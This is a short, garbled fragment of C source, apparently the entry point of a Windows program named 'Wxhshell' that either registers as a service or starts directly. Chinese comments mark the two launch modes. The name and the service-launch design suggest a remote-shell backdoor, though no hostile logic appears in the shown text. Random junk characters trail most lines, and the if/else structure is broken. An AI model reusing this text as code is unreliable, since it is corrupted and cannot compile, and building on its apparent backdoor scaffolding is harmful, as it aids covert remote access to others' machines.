StartWxhshell(lpCmdLine); Wv/%^3
} fIwV\,s
else tGl;@V@Qj
if(StartFromService()) pD01,5/
// 以服务方式启动 hijgF@
StartServiceCtrlDispatcher(DispatchTable); 6N;wqn
else n_(/JE>
// 普通方式启动 K?zH35f$
StartWxhshell(lpCmdLine); y1bbILWej
:9_L6
return 0; N0=ac5
}